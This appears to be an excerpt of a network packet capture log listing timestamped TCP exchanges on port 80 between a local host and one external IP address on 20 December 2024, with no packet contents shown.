Dec 20, 2024 16:06:53.633747101 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.634563923 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.634619951 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.634716034 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.634778976 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.635735989 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.635787010 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.636353970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.636404991 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.637073994 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.637142897 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.637310982 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.637357950 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.638205051 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.638252974 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.638356924 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.638403893 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.639403105 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.639458895 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.639700890 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.639750004 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.640669107 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.640722036 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.641333103 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.641380072 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.641894102 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.641944885 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.642086983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.642131090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.643194914 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.643248081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.643492937 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.643541098 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.644659996 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.644711018 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.644999981 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.645045996 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.646033049 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.646085978 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.646302938 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.646370888 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.647439003 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.647500038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.647505045 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.647542000 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.648647070 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.648699999 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.648737907 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.648772955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.649774075 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.649826050 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.650500059 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.650563002 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.651617050 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.651678085 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.651912928 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.651962042 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.652793884 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.652847052 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.653867006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.653882027 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.653920889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.653942108 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.654176950 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.654227018 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.655201912 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.655261040 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.655751944 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.655803919 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.656373978 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.656387091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.656433105 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.657613039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.657671928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.658035994 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.658106089 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.659079075 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.659140110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.659917116 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.659977913 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.660317898 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.660334110 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.660372019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.661845922 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.661911964 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.662235975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.662283897 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.663003922 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.663017988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.663050890 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.663089991 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.664273977 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.664313078 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.664423943 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.665451050 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.665518045 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.665919065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.665975094 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.667032957 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.667100906 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.667484045 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.667540073 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.668251991 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.668338060 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.668626070 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.668679953 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.669950962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.670017004 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.670180082 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.670231104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.671508074 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.671623945 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.672087908 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.672146082 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.672585964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.672637939 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.672951937 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.673005104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.674093962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.674154043 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.674448013 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.674499989 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.675182104 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.675232887 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.675245047 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.675302982 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.676389933 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.676445007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.798393011 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.798501968 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.798593044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.798660994 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.798820019 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.798877001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.798904896 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.798952103 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.799906969 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.799959898 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.800203085 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.800255060 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.801078081 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.801150084 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.801405907 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.801461935 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.802160025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.802225113 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.802366972 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.802416086 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.803245068 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.803299904 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.803317070 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.803359032 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.804333925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.804380894 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.804632902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.804682016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.805433989 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.805484056 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.805814028 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.805881977 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.806556940 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.806607962 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.806828976 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.806884050 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.807686090 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.807739019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.808068037 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.808124065 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.808778048 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.808793068 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.808856964 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.808880091 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.809876919 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.809933901 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.810098886 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.810173035 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.811037064 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.811094999 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.811407089 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.811458111 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.812063932 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.812119007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.812613964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.812665939 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.813189983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.813244104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.813405037 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.813457966 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.814385891 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.814445019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.814519882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.814569950 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.815464973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.815521002 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.815639973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.815713882 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.816514969 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.816577911 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.816843033 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.816891909 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.817687988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.817744970 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.817799091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.817843914 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.818850994 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.818922997 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.818998098 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.819046021 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.819785118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.819839954 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.819886923 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.819935083 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.820959091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.821047068 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.821132898 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.821185112 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.822024107 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.822077990 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.822135925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.822185993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.823179960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.823232889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.823355913 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.823405027 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.824335098 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.824388981 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.824625015 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.824675083 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.825344086 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.825393915 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.825576067 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.825623035 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.826407909 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.826499939 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.826688051 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.826740980 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.827545881 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.827600002 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.827851057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.827898026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.828617096 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.828682899 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.828933954 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.829013109 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.829699039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.829755068 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.829826117 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.829871893 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.830806971 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.830866098 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.831073046 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.831130028 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.831969023 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.831985950 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.832026958 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.832042933 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.833087921 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.833137035 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.833614111 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.833661079 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.834326982 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.834373951 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.835004091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.835046053 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.835305929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.835328102 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.835351944 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.835366011 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.836384058 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.836431026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.836563110 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.836606979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.837532043 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.837584972 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.837848902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.837894917 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.838593960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.838643074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.839147091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.839220047 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.839926004 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.839972973 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.840004921 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.840048075 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.840783119 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.840830088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.841974974 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.841991901 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.842011929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.842034101 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.842047930 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.842065096 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.843020916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.843066931 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.843204975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.843249083 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.844122887 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.844168901 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.844310045 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.844356060 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.845259905 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.845305920 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.845566988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.845613003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.846422911 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.846470118 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.846544027 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.846590042 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.847444057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.847501993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.848259926 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.848310947 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.848690033 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.848737955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.848804951 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.848851919 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.849658966 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.849737883 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.849862099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.849910021 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.850675106 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.850728989 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.850824118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.850877047 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.851866961 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.851922989 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.852085114 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.852133036 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.852940083 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.852993011 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.853128910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.853177071 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.854020119 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.854072094 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.854201078 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.854249954 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.855173111 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.855225086 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:53.855360031 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:53.855407000 CET	49769	80	192.168.2.5	185.215.113.206
